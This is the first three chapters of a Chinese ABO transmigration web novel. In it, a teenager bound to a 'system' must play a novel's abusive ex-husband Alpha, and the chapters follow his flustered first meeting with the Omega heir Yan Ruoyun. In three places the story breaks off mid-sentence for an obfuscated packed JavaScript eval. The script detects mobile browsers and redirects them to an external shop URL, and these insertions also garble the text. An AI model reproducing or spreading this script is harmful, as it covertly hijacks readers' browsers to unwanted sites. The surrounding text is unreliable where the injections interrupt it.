《前夫哥扮演系统崩溃了[快穿]》 1. Chapter 1 Chapter 1 [嘭——!] [林逐摔门走了。] [……严若筠失神地卧在冰冷的瓷砖地面上。这个骄矜高傲的Omega此时看上去狼狈极了,甚至可以说,有点可怜。] [他的双手被领带反绑在身后,衬衣领口敞开着,露出一截布满咬痕的后颈。那咬痕既深,又狠,尤其是腺体的位置已经肿得老高,还渗着血,可以看出标记他的人是多么的粗暴、疯狂……] [跟林逐结婚,是他人生中犯的最严重的错误。严若筠在心里这样想。] [而在此期间产生过的期待、依赖、心动、压抑和不舍……都是高达100%的信息素匹配度带来的错觉。] [它的名字,从来都不是‘爱’,人们只是擅自做出了这样荒谬的解读。] [于是,严若筠花了一个小时解开束缚住自己的领带,强忍着颤栗,扶墙走出了浴室,从卧房门后摸出被丈夫摔裂屏幕的手机,拨出了一个熟悉的号码。] [“严总,您这个月的复查时间还没到,是腺体又出现了什么问题吗?”电话那头的人语气很恭敬。] [严若筠莫名笑了一下,像一张精致美丽的画皮,里头却没有了灵魂,或者说,它被什么人毫不珍惜地摔碎了。] [他张了张口,说:“……徐医生,我很好。我只是想找你约两场手术。”] [电话那头很安静。] [严若筠接着说:“一场腺体剥离手术,和一场Omega孕早期人流手术。排期越快越好,可以吗?”] [挂掉电话后,他从枕头底下翻出一张妊娠检查报告,撕碎了扔进垃圾桶里,然后换好衣服,头也不回地走了出去。] [就像是,走出一场漫长的噩梦。] [……] [后来,过了很久很久。] [在一场宴会上,严若筠又一次见到了林逐。他看起来很落魄,邋遢得像是一个流浪汉,被门口保安扔出去的时候,简直丑态百出。] [身边来搭讪的年轻Alpha举着酒杯,嫌恶地骂了句:“这人谁啊?真坏气氛。”] [严若筠无所谓地笑笑,丢下一句话,无视Alpha惊讶错愕的表情,转身离开。] [“——我前夫。”他说。] [这是严若筠最后一次见到林逐。] - 寂静,死一样的寂静。 偌大的屋子里,死寂几乎化为实体,将坐在床边的少年整个包裹起来,给他带来一阵难以言说的窒息感。 前夫哥扮演系统,简称系统,等待了许久,忍不住出声问道: “呃,那个……宿主,这些就是原著小说里‘前夫哥’出场的全部剧情了!您现在可以开始做任务了吗?” ——林逐,AKA:《荷尔蒙假象》文中渣男前夫哥的扮演者,默默抬起了脑袋,双眼已然失去了高光。 “系统,你还是让我死吧……” 林逐面无表情地关闭了脑海中那面充斥着污言秽语的原著小说光屏,企图还自己一个清静。 另外,他还想重金求一双没看过这篇小说的澄澈眼眸。他的脏了。 短短半个小时。 痛苦面具彻底焊死在林逐这张厌世酷哥脸上。 他从来没想过,看小说这种简单的行为也能给人带来这般极致的精神污染。 林逐抬手捋了一把自己刚染不久的叛逆金发,实在压不住吐槽的欲.望,连珠炮一样地说: “你绑定我的时候,只说要扮演小说中缺位的配角,但你没跟我说这个配角的人设这么low啊!简直了!” 他再次翻出光屏,指着小说中某几段离谱剧情,无语道: “语言羞辱、强制标记、险些将人欺负到流产、从生理到心理的全方位PUA……这都什么张三行为?我做不来!” 以及ABO这种新潮的性别文化,对于林逐这个刚结束高考的普通男子高中生来说,还是太超前了。 思量片刻。 林逐有些后悔地叹气道:“你要是早给我看剧本,我就不跟你绑定了。” 系统小声辩解,打起了感情牌:“宿主……是本系统在您遭遇车祸的时候及时绑定您的灵魂,进行次元投放,才避免您当场死亡哦。” 见林逐的脸色回温了一两分,系统趁热打铁,鼓励道: “而且本系统就是总局任命的剧情记录员,考虑到宿主的演技问题,在允许范围内,我会努力协助宿主完成表演的!” 林逐开始迟疑:“比如?” 系统急切地解释起来:“角色扮演须满足人物、环境、情节三要素,过程中若是涉及宿主难以接受的过激情节,系统拥有一定程度的容错权限……” 它越说声量越小,忽又大声地强调了一句:“虽然角色的行为可以适量容错,但关键台词一定要还原原著哦!” “完成此次扮演任务后,” 系统用循循善诱的语气道:“我就送宿主返回原世界,并提供苏生服务,保证不会留下任何后遗症。” 说完,它还给林逐炸了朵小烟花,呱唧呱唧地鼓了几下掌,以示鼓励。 林逐陷入沉默,许久没说话。 系统等了等,又问道:“请问宿主还有什么问题吗?本系统会积极为您解答的!” 林逐摸着下巴,沉吟道:“没什么……就是忽然觉得,或许你比我更适合扮演渣男前夫哥呢。” 系统:“……” 系统哽了一下,决定转移话题:“宿主,今晚就是原著中您与主角严若筠初次见面的时间了,地点在香山会馆,剧情是……” 林逐虚着眼,干巴巴地打断道:“行了,我知道这段剧情,才刚看完呢。” 他悄悄舔了舔自己尖锐的犬牙。 ……这种程度,应该没问题吧? - 另一头。 北都环山庄园,一楼大厅内。 严家三代人难得齐聚一堂,在座长辈们的眼神都一个劲儿朝坐在单人沙发上的青年身上瞟去。 男人长得极好,墨发深瞳,身着浅色西装,整个人宛如水墨画一般的清雅高贵。 他的坐姿很端正,周身气度不凡,稍冷的表情平添了几分距离感,让人下意识地想起四个字…… 高岭之花。 ——严若筠,北都严家几代单传的极优性Omega,严氏唯一的继承人,也是无数适婚Alpha可望而不可即的存在。 除却家世因素,更因为严若筠十六岁时,就同世交林家的大少爷林修杰定下婚约,只等未来时机成熟,便成其喜事。 两人门当户对,又容貌俱佳,再加上这些年两家企业愈发亲密的合作同框,网络上聚集了不少磕这对未婚夫夫的CP粉。 不为外人所知的是,严若筠与林家大少爷的婚约其实早已名存实亡。 ……因为他是一个患有腺体隐性缺陷的Omega。 十八岁那年。 严若筠如期迎来了自己的二次分化。 届时,Omega的激素将产生峰值波动,分化结束后,他的生殖腔等性征器官会被催化至成熟,身体将变得更加适孕。 没办法,Omega向来如此。 因此医院面对二次分化的护理服务已经相当成熟了。 可到底还是出了意外。 院方发现,严若筠的激素变化极其不正常,高烧不退,各个器官也隐隐有早衰的倾向。 这显然不是成年Omega进行二次分化的正常现象。 严若筠当时在ICU里躺了三天才被救回来,检查做了一大堆,最后被确诊了一项极为罕见的基因病。 其学名为‘NH0047序列缺乏症’,尽管在漫长的医疗历史中,它只出现过两三例,却拥有一个如雷贯耳的俗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13695220|144406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 称—— 「真爱病」 该病症的具体表现为:隐形腺体缺陷,患者只能接受匹配度高于95%的信息素标记,否则会诱发激素不稳,加剧器官的衰竭。 经检测,他跟林家大少爷的信息素匹配度只有60%,仅是世俗意义上的及格线。 对于严若筠来说,远远不达标。 随着社会发展,以及医疗水平的与时俱进,现如今Alpha与Omega之间不会过于注重彼此的匹配度了。 严若筠却忽然失去了这项自由。 出于严氏与林氏紧密的合作关系,他与林修杰的婚约暂时没有取消,但私下达成协议:有必要时,再对外声明两人各自婚嫁的讯息,以免引起股市动荡。 这个‘有必要时’的意思是:与严若筠匹配度高于95%的Alpha出现之后。 这很难。 毕竟在近百年的历史中,AO信息素匹配度最高的情侣也不过93%,已经能被称之为奇迹了。 然而,在严若筠不抱任何希望的二十八岁这年,那个Alpha终于出现了,并且与严若筠有着高达100%的信息素匹配度。 医院方当时在电话里这样感叹:“简直是……奇迹中的奇迹!” 是啊,前所未有的奇迹。 可偏偏奇迹的名字叫做‘林逐’。 林逐,上周刚满十八岁,在严家注资的北都第一医院完成了二次分化,于本人知情的情况下,登记了自己的信息素样本。 医院的报告单只提供了基础信息,姓名,出生年月日与手机号码,其他隐私不可见。 尽管如此,严家人仍旧一眼认出了他。 林家上不得台面的私生子、林修杰同父异母的弟弟、名声早就烂大街的纨绔二世祖…… 且不论其中的人际关系,这样劣迹斑斑的人,能是什么好归宿? 裴淑容神情郁郁,还是主动打破了沉寂,她抬眼看着如往常般淡然自若的独子,说了句: “若筠,你就约林逐见一面吧。” 厅堂内僵持许久的气氛被这句话打破。 其他人也跟着一起劝:“是啊,好不容易有个不伤身的解决方法……徐医生也是这么建议的。” 见严若筠神色岿然不动,长者们的语气愈发焦灼起来: “筠筠,要不然你还得每个月定期注射人工合成基因针剂,医生反馈你现在的剂量已经很危险了,遭罪不说,还对寿命有影响!” 裴淑容牵挂儿子的健康问题多年,对于那位名声狼藉的年轻Alpha的出现,终究是喜大于悲,忍不住红了眼眶。 她忆起严若筠自从二次分化后,时不时提起自己想要个弟弟妹妹的事情…… 母亲的泪水一瞬间滑落。 于是她凑上前,轻轻握住严若筠的手,说:“你要是跟林逐实在合不来,咱们就跟他协商联姻,婚后各过各的,定期见个面就行……” 这是要用利益拉拢林逐,让他安心当自家儿子的信息素供应方的委婉说法。 严若筠从小被当做继承人培养,没有寻常Omega对于AO话题的羞怯,神色自然也没有任何变化。 听着父母与祖父母的轮番劝导,他终是在裴淑容的眼泪前让了步。 在家人们催促与期待的目光中,严若筠往手机呼出界面输入了一串陌生的号码。 铃声只响了两三秒,就被人接起来了。 “……喂?” 手机那头传来一道略带沙哑的嗓音,但声线很年轻,可以听出对方的年纪不大。 严若筠心想:确实不大。 上个星期才刚满十八岁呢,乱七八糟的桃色新闻就已经满天飞了。 前阵子他还听林修杰顺嘴提起过,这人似乎正跟某位网红主播打得火热,一度闹上了热搜。 ——见一面就走吧。 此时此刻,严若筠是这么想的。 2. Chapter 2 暮色四合。 入了夜的北都市不那么闷热,携带着初秋的凉意,将墨蓝的天幕也衬出几分水淋淋的潮湿。 “哗…哗……” 一条人造溪流穿过香山会馆的廊桥,水声若有似无,溪面倒映着粼粼波光,比天上的星子还要晃眼。 这是一所私密性极强的会所,环境优美且静谧,只面向少数VIP会员开放。 严若筠就是其中之一。 他曾多次邀约商业伙伴来这里谈生意聊项目,交杯换盏之间,签下市值不菲的合作文件,没人敢因为他是个Omega而看轻他。 然而今天晚上,严若筠却是单纯作为一个未婚Omega出席的。 实际上,自从十年前被确诊患有罕见基因病之后,他就变得不那么‘Omega’了。 于他而言,所有Alpha的信息素仿佛变成了致命毒药。 半点沾不得,染不得。 因为他的基因在奋力抵抗外界所有信息素的靠近,转头又给这具身体降下无比严厉的刑罚—— 每个月三至五天的发情期,一次比一次澎湃汹涌,把严若筠折腾得够呛。 市面上的任何一款抑制剂都没有效果,还会引起他的激素异常,被医生严令禁止使用。 所以每个月的那几天,严若筠只能靠自己的意志咬牙硬挺过去。 十年如一日。 哪怕是非发情期的日常生活中,他也要时刻佩戴信息素阻隔贴,或者阻隔项圈,清洁喷雾更是不能离身的东西。 严若筠着实不堪其扰,要不是手术风险太大,他恨不得直接让医生切除腺体。 而这一切的不便与健康隐患,只需要让一位匹配度高于95%的Alpha标记自己,便能迎刃而解。 这个诊断结果让严若筠心生抗拒。 说实话,他很难不期待——哪怕只是一个临时标记,自己便能从煎熬的发情期中解脱。听起来简单又有效。 但每每生出微妙的期待,他心底又飞快地翻涌上一股浓烈的厌恶,甚至难以抑制地迁怒起那个不存在的‘Alpha’…… 太可笑了。 他的病情仿佛在强迫自己为某人守贞。 这种强烈的受压迫感与被枷锁束缚的滋味,是严若筠最为不喜的。 他的父母很开明,不曾因他的性别而规训什么,且他自小接受精英教育,性格偏强势,尽管性别是Omega,却天生不喜失控与被掌控。 因此,当林逐的资料被摆上桌时,严若筠的第一反应不是惊喜,而是抵触。 不是因为林逐这个人有多么不堪,而是他无法接受,自己被奇迹般契合的信息素匹配度影响到理智与情感的可能性。 他不能接受自己变成一个被信息素支配的牝兽。 就在这时。 茶室的门被人猛地推开,发出一道与周遭环境格格不入的声响,打断了严若筠的思绪。 他循声望过去,映入眼帘的是一张很年轻英俊的脸。 来人的五官凌厉到极具攻击性,一对单薄的眼皮懒懒地耷拉着,眼尾下垂。 表情看起来很酷,又显得厌世无神。 尤其是少年那一头被风吹乱了的明耀金发,跟这间古雅有致的茶室几乎是两个极端,仿佛摇滚撞上管弦乐。 这道突兀的声响惊扰了茶艺师,对方手一抖,白瓷茶碗相撞击,发出清透的一声脆响,于是忙不迭地低声致歉。 是的。 此时这间茶室里不止两个人,还有一位端坐在屏风后的女beta茶艺师。 严若筠不打算跟林逐单独见面。 门外,金发少年的额发略长,半遮住眉眼。他瞥了一眼屋中央的茶桌,以及桌对面西装革履的男人,单手插着兜上前。 严若筠像是没看见一样,拿出招待商业伙伴的礼貌姿态,抬手引人入座。 剪裁得体的西装包裹着他的手臂,线条修长又好看。 他的手型也很精致,筋骨皮肉生长得恰到好处,一分不多,一分不少,指腹竟透出淡淡的薄粉。 奇怪的是,Omega食指的第一二关节烙印着十分突兀的瘢痕,似是被人用牙齿咬出来的。咬痕层层叠叠,导致这块肤色稍显暗沉。 仿若瓷器上的碎纹,格外瞩目。 直到少年拖开椅子,坐到自己正对面,严若筠才顺势收回手,曲到面前看了眼表盘,面带微笑地说了今晚的第一句开场白。 “——你迟到了,八分钟。” 男人的吐字很清楚,声调不急不慢,略温润的嗓音给人以春风拂面的感觉,化解了话语中尖锐的部分。 话音刚落地。 就见金发少年懒洋洋地抬眼看过来,形状姣好的薄唇紧闭着,慢半拍地从鼻子里哼出一声短促应答:“嗯。” 没人做自我介绍。 虽然两人此前没见过面,但到底不是什么陌生人。 严若筠不知道的是,林逐远远没有看上去那样淡定从容,他甚至不敢多说一个字,生怕一张嘴就暴露自己狂奔八百米而来的狼狈真相。 林逐都快要紧张死了。 其实他没有迟到,还比约定时间早了一小时来到香山会馆附近,然后悄默声地寻了个无人的角落,提前跟系统脑内对戏。 他就是个普通男高,高考科目那么多,没一项是考演技的,不提前排演一下,还真有些心里发虚。 剧本里,今晚是主角跟渣男前夫哥的初次见面,但两人对彼此的第一印象都不怎么样。 严若筠是典型的上位者思维,显然看不上这位年轻浪荡的年轻Alpha,主动约人见面,主要是为了应对家人的催求。 而渣男前夫哥的心思就更简单了。 他的审美很单一,只喜欢身娇体软,小鸟依人的嗲幼系Omega,对严若筠这种位高权重的大龄Omega完全不感兴趣。 原著中他前来赴约,并不是冲着对方严家继承人的身份,而是身为林修杰的未婚夫,居然会联络自己这个被养在外面的私生子,甚至主动邀请他私下见面。 联想到北都第一医院致电通知过的信息素匹配度一事……Alpha短暂的惊诧之后,忍不住洋洋得意起来。 ——你林修杰再得意又能怎么样?还不是守不住自己的未婚Omega?! 自己那位高高在上的好大哥脸上会出现怎样精彩的表情呢? 这个念头仅是一闪而过,内心阴暗的少年便瞬间精神高.潮了。 所以,原文中的渣男前夫哥一开始就是抱着来看戏的心态来赴约的,还刻意拿乔,迟到了片刻才进入包厢。 只是现在迟到的人变成了林逐。 迟到的原因也另有内情。 系统适时地汇报道:“宿主,跑完八百米之后,你的心跳频率和体温都显著上升了,最好多出点汗!汗液里面含有微量信息素,说不定就能成功诱导男主发情!” 林逐无语地在脑子里道了声:“……闭嘴吧你,捏个壳子都能出错,要你何用?” 系统心虚,顿时噤声不语。 之前系统在绑定林逐的时候就跟他解释过——祂隶属于时空书局的后勤维护部门,平日里负责监测世界的稳定值。 前不久,书局出了个大麻烦。 某个书中世界的前夫哥NPC觉醒了自我意识,拍拍屁股跑路了。 临走前还黑了时空书局的数据库,导致多个世界中「前夫哥」的本源数据被销毁,角色缺位,世界也因此濒临崩塌…… 系统临时调岗,绑定了濒死的林逐,将他的灵魂投放到该世界,补全丢失的关键剧情点。 由于渣男前夫哥原始数据已经彻底损毁了,林逐现在用的壳子是系统根据他自己的身体数据1:1还原制作的。 进行数据调整后,林逐变成了一个货真价实的Alpha。 不仅如此,系统还自动合理化了该书中世界对林逐的认知。在所有人的眼中,他就是林家那位浪荡子,百分百保真。 但一人一统提前来到香山会馆附近,才后知后觉地发现了另一个问题。 临时调岗的系统业务不太熟练,在融合林逐的灵魂与肉.体数据时出了个bug,导致少年拥有了Alpha的身体,却无法自主散发信息素。 这个bug并不复杂,不过是灵魂与身体融合度不同步,只要过段时间就能自主修复……但问题是,今晚的扮演任务该怎么办? 今晚的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13695221|144406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 关键剧情点可是「在香山会馆主动诱导严若筠发情,进行初次临时标记」啊! 什么叫出师未捷身先死?这就是! 系统欲哭无泪。 最后,一人一统还是商量出了一个不算解决办法的办法。 原著中有这样一段剧情—— 某次发情期,主角被渣男冷暴力,独自在家的他忍不住从脏衣篓里翻出丈夫穿过的衣服抱着嗅起来,企图从难闻的汗味中汲取微量的信息素…… 于是,林逐只好拿出高三跑操的势头,骂骂咧咧地沿着小路回来跑了个八百米。 会馆门口的迎宾小哥看他的眼神,简直像是在看一个神经病。 此时,安静的茶室内。 林逐为了表演出系统所说的三分不屑四分窃喜等复杂情绪,极力压抑着自己想要大喘气的欲·望,努力了半天…… 摆出了一张面瘫脸。 系统欲言又止半天,还是没敢吭声。 心虚.jpg。 好在林逐的妈生厌世脸十分给力,效果斐然,一看就不是什么好鸟。 屋子里的气氛很冷。 然而在场的女Beta茶艺师见多识广,完全不受影响,正行云流水地点着茶汤,空气中清香四溢。 林逐悄悄瞥了一眼桌对面的成熟男人,一想到自己要努力诱导对方发情,然后趁人之危,在人家脖子上啃上一口,他就莫名尴尬和不自在。 ……还有点想报警把自己送进局子。 林逐刚才跑得口干舌燥,顾不得茶水烫嘴,一口气闷了三杯才缓过来,结果热水入喉,导致汗水淌得更欢快了。 “系统,你确定是按照我原来的身体捏的壳子吗?是不是货不对板?” 他边喝茶,边暗自发问:“我体能哪有这么差,跑个八百米就快要喘不上气了,喉咙里好像有火在烧……” 小说里,Alpha的体能不是都堪比山地大猩猩吗?他这个半路出家的Alpha怎么还比以前更虚了? 没等到系统解释,林逐忍不住摸了摸汗湿的后颈。 他的后颈偏左处多了一块微凸的腺体,就藏在皮肤底下,摸起来软软弹弹。 想到这里,林逐有些好奇地瞥了一眼严若筠的脖颈处。 男人佩戴了一条两指宽的黑色阻隔项圈,看上去是皮质的,紧紧贴着细长的颈子,勒出略带色气的弧度。 忽然,男人端着茶杯抬眼看过来,不咸不淡地问了句:“在看什么?” 林逐这才反应过来,自己盯着人看的时间太久了。他下意识地坐正了身子,却解释不出什么话来,只好尴尬地举起茶杯占住嘴巴。 总不能说,在看你的腺体吧? 在ABO世界中,这种话估计跟性骚扰没什么两样。 不得不说,男主长得是真好看,一双桃花眼凌厉又不失柔润,雪肤深发,原著中说他有四分之一法国血统,五官格外精致…… 看得久了,林逐的脸愈发热起来,喉咙又干又涩。杯里的茶水不仅不解渴,还隐约有火上浇油的架势。 他在几小时前被投放到这个世界,立马就被系统那不可描述的原著光屏糊了一脸,看得满脑子都是什么‘发情期’‘标记’‘生殖腔’‘成结’之类的…… 后来林逐又蹲在巷子里,跟系统熟悉了两遍今晚的剧本。一人一统讨论时,他还不觉得有什么,印象只停留在小说层面。 可现在,小说中的主角就坐在他对面。 那些小说文字自动转换成活色生香的画面,不受控制地在林逐脑子里翩然浮现,给他一种自己正在意淫对方的不道德感。 林逐只好低下头,又灌了杯茶下肚。 再抬头时,他只觉得鼻间一热,紧接着对面那人淡漠的神情闪过一丝诧异,蹙着眉提醒了句, “……你流鼻血了。” 与此同时。 看着好似拼桌喝茶的两人,已经急得跟热锅上的蚂蚁一样的系统终于喜极而泣,大声地鼓舞道: “宿主干得好!血液里的信息素含量比汗液高多了,总之——总之得想个办法把信息素蹭到主角身上!” 林逐:“……” 你要不要听一听自己在说什么鬼话? 3. Chapter 3 无视系统的鬼叫,林逐抬手遮住下半张脸,眼神在桌面扫了一圈,没看到纸巾,连忙站起身来:“请问洗手间在哪里?” 女茶艺师见状,立马抬手指了个方向。 不知道是不是少年人的血气过于旺盛,鼻血已经滴到了林逐衣领处,给白色体恤染上了点点血色,异常扎眼。 如果尴尬会杀人,那毫无疑问,林逐已经死第二回了。 他急急忙忙地出了茶室,只来得及跟严若筠飞快地说声‘不好意思’。 桌面上还残留着两滴Alpha的血渍,茶艺师连忙叫人上前收拾,而后在严若筠的示意下跟服务员一同离场。 不一会儿,屋子里只剩下严若筠一人。 这时候,被他反扣在桌面的手机忽而震动了两下,严若筠举起来一看—— 是朋友夏枫发来的信息。 【筠,你见到那谁了吗?】 他回了句:【见到了。】 夏枫是个已婚Omega,刚成年就遇上了现在的丈夫,两人交往不到一年就闪婚,多年来始终恩爱如初,称得上是一对模范夫夫。 严若筠跟他是从小一起长大的朋友,尽管两人性格截然不同,但交情一直很不错。 夏枫也是少数知道严若筠病情的人,对此十分关注:【那你感觉怎么样?】 严若筠回忆着少年进门后的种种表现,觉得有些好笑,慢慢地打字回复。 【能怎么样,就一小屁孩。】 夏枫的消息回得很快,他又说:【我仔细打听了一下,听说这小子特别花,学也不好好上,成天就知道跟人撩骚搞暧昧。】 严若筠又想起少年进门时不自然的动作,全程闪避的视线,以及几次偷看自己腺体的行为,更觉得好笑。 特别花? 好像也不见得,哪个特别花的Alpha能看几眼Omega就流鼻血的? 严若筠今天来这一趟,心情属实不是太好,他本来就忌惮着100%信息素匹配度可能带来的影响,对方还极不守时地迟到了。 因此打一照面,严若筠就刺了他一句。 没成想,金发少年只是愣愣地‘嗯’了一声,脸上写满了‘无所谓’,可所有的肢体动作都表现出截然相反的意思—— 似乎在说‘好想逃’。 比他这个Omega更像是被人逼着见面的。 于是严若筠坏心眼地不说话,对面那人也没吭声,全程低垂着眉眼,一个劲儿地喝茶,期间时不时地看过来,还以为没有被发现。 严若筠对他人的视线很敏感。 所以他能清晰地感觉到,少年的视线短暂地落在自己的脸上,脖颈处……随即仿佛被烫了一下似的,连忙收了回去。 有些Alpha会刻意打量Omega的腺体,甚至会恶趣味地散发些许信息素来逗弄Omega。 这是很没有素质的行为,但不可否认,很多年轻Alpha都这么干过。 严若筠的心情更差了。 于是,他又刺了一句:“在看什么?” 话音刚落,对面的少年更不自在了,如坐针毡一般地举着茶杯挡脸。他的脸越来越红,藏在金色发丝底下的耳朵也泛起血色…… 再然后,少年流鼻血了。 有那么一瞬间,严若筠有些荒谬地想,到底谁才是容易受到影响的Omega? 但毫无疑问——这个算不上体面的小插曲给他带来了莫名的安全感,连带着驱散了他心头的不快。 严若筠抬手抚了一下箍着脖颈的项圈,悄无声息地呼出一口气:没有闻到信息素,也没有突然发情…… 太好了。 - 就在严若筠放下心的时候,系统简直心疼得滴血,焦急道:“宿主,你别洗了,就这点信息素都快让你洗没了…!!” 洗手间内。 林逐洗干净鼻血,顺道洗了把脸,没好声没好气地道:“不洗还能见人吗?” 关了水龙头,他看到镜子里那张熟悉的脸,刘海被水微微打湿,只好随意地往后捋了捋。 他的衣领也有些湿了,血渍渗透开来,泅出一块块淡粉色的痕迹。 眼见无力回天,系统只好蔫了吧唧地说:“那我们继续回去做任务吧?只要拉近点距离,主角就有可能进入强制发情……” 林逐啧了声:“真的假的?” “当然是真的,宿主不要小看ABO世界的设定,100%信息素匹配度可不是开玩笑的!” 林逐耷拉着眼皮,暗戳戳地吐槽:“就是因为这样,才让人觉得不爽吧……好像动物世界。” 系统因自身业务不纯熟,导致第一个剧情补全任务进度卡住自觉理亏,又发现林逐的态度有些消极,便讷讷地劝道: “ABO自有社情在此嘛,宿主不用太纠结,只有完成扮演任务才能返回原世界,进行苏生……” 林逐:“哦。” 反正他就是个倒霉蛋,累死累活读了那么多年书,结果刚出考场不久就被车撞飞十几米,要不是系统绑定得及时,他现在已经是一具尸体了。 面目全非的那种。 短暂的人生也就此戛然而止。 林逐将双手撑在盥洗台的边缘处,垂下了脑袋,喃喃自语:“真是不甘心啊……” 沉默地站了片刻。 他强压下心底的种种心绪,准备离开洗手间,返回包厢继续进行扮演任务。 可刚一迈腿,林逐便感觉身上有些不对劲……诡异的潮热自体内涌现,已经平复下来的心跳旧态复萌,跳得一下比一下块,并且鼻间又热了起来。 真是奇了怪了。 林逐抬手摸了一下鼻底,是干净的。 再看向镜子,他发现自己的眼白处骤然冒出许多红血丝,搭配这张看着不好惹的脸,气质沉郁暴戾到让人不敢接近的地步。 “怎么会这样?!”检测到异样的系统惊叫道,“宿主,你发情了!” 林逐:“?” 紧接着,系统的电子音卡顿了一秒,话锋忽转:“…咦?等等,本次扮演任务的进度条居然拉满了一半?该不会只要完成临时标记,也能判定成功补完这段剧情吧?” 电子音听起来略带迟疑。 林逐也很迟疑,并诚心发问道:“连你也不确定吗?你该不会是什么三无盗版系统吧?” 这么不靠谱。 系统好似被人戳中了痛脚,磕磕巴巴地解释道:“我、我是实习生啦,主要职能是记录剧情和辅助宿主完成表演,任务判定模块是由外置子系统负责的……” 怪不得。 林逐烦躁地扯了几下衣领,手动给自己降温,而后又反手摸了一下后颈的腺体,指尖一触及微热的肌肤,身体便下意识地抖了两下,敏感得不像话。 同时间,一股从心底喷涌而出的狂躁,似在渴求着什么……而这渴求中,掺杂着极为暴虐的破坏欲。 林逐再次打开水龙头,往脸上泼了两捧把冷水,漫无边际地想着:这就是Alpha发情时的症状吗? 感觉像是狂躁症发作了。 他又想到主角严若筠。 小说里,严若筠就深受其扰。每次发情期来临时,他就只能被迫放下工作,把自己关在屋子里谁也不见。 他用不了抑制剂,只好泡冷水澡降温,还因此多次罹患重感冒,某次更是烧成肺炎,住院了好些天。 或许是因为日复一日的煎熬,在遇到渣男前夫哥之后,男人便难以抵抗地陷入了信息素的陷阱,宛如一只被蛛网缠绕的蝴蝶,怎么也挣脱不开。 ……应该很绝望吧? 林逐不停地往脸上泼水,最后忍不住将脑袋伸到水龙头底下用凉水 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13695222|144406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 浸湿,才勉强抑制住心中的渴望与焦躁。 他沉思半晌,问系统:“你说……我要是去恳请主角咬我一口,扮演任务也能算完成吗?” 简直是倒反天罡。 系统无语凝噎了,无机质的电子音里满是沉痛:“我也不知道,我只是个背锅的实习生……” 林逐闭了闭眼:“行吧,我们两个废物点心还挺有缘分,凑一块儿了。” 系统尴尬得说不出话。 林逐甩了甩脑袋,潮湿的金发更加凌乱不羁。没了额发的遮挡,底下那双微微下垂的狭长眼睛完整地露出来,气质尤为凶恶。 他的长相很不良,经常被人误以为是脾气不好的混混学生。实际上林逐的脾气不算差,甚至可以说是个三观正常的好少年。 就是没几个人信。 林逐甩完水珠,拔腿就想外走,刚到门口,就听到外面走廊传来几道交谈声。 “苏泉,你闻到了吗?附近是不是有Alpha发情了?!” “信息素好像是从洗手间那边飘过来的。” “什么情况啊?” “天,我们赶紧走吧,好不容易用我哥的会员卡约到位子,我可不想被影响到……对了,要不要去通知一下经理?” 说话的大概是两个Omega。 林逐脚步一顿,庆幸自己没有直接推门走出去。 他做了十八年的普通男性,还没有习惯这具Alpha的身体,再加上莫名发情,脑子也不太清醒,差点闹出乱子。 林逐后退几步。 门外安静了片刻。 他忽然听到一个熟悉的名字。 说话的还是刚才那位叫做‘苏泉’的年轻Omega,他的声音稍显软糯,正惊讶且拘谨地唤着人,“若筠哥,这么巧?” 下一瞬,林逐听到了严若筠的声音。 男人的声线有些冷,有种拒人于无形的疏离感。他应道:“嗯,来吃饭?” 叫做‘苏泉’的Omega遇见了熟人,顿时安心不少,小声地说:“洗手间那边好像有Alpha发情了,要不要叫经理过来处理一下呀?也不知道是不是认识的人……” 毕竟北都的上层圈子不大,能来这里玩的人多多少少都有些关系 。 后面的话,林逐没有听清楚。 他已经再度把脑袋泡进了水池里,水龙头仍在哗哗作响,直到水满溢出,噼里啪啦地砸到地上,他才慢半拍地拧上水龙头。 少年修长的指头紧紧扣住盥洗台的边缘,手背青筋爆出,指尖用力到发白,没有一点血色。 他的白色上衣已经湿了大半,半透不透地贴在肌肤上,勾勒出后背紧绷的肌肉形状,宛如一只蓄势待发、随时会暴起的雄狮。 突然,他裤兜里的手机响了一声。 林逐闭着眼从兜里摸出手机,水珠从发梢掉落,砸在发光的屏幕上。 文字信息因水珠的折射而微微扭曲。 严若筠给林逐的印象很深刻:清冷出尘的容貌、温和有礼的笑容、直白强势的作风…… 正如他给林逐留下的第一印象,严若筠发来的短信也极为直白:【在洗手间发情的Alpha是你?】 林逐盯着手机屏幕,呼吸很急促,太阳穴一鼓一鼓的,仿佛有东西在里面炸开来,刺得他烦躁不已。 在屏幕暗下去之前,他打字道:【能拜托你找个人给我送抑制……】 还没打完句子,也不等系统提醒,林逐就长按删除键,将其全数删掉。 他抿着唇,指尖重新在屏幕上飞速移动:【对,发情了,你现在方便吗?】 对面很快回复:【方便什么?】 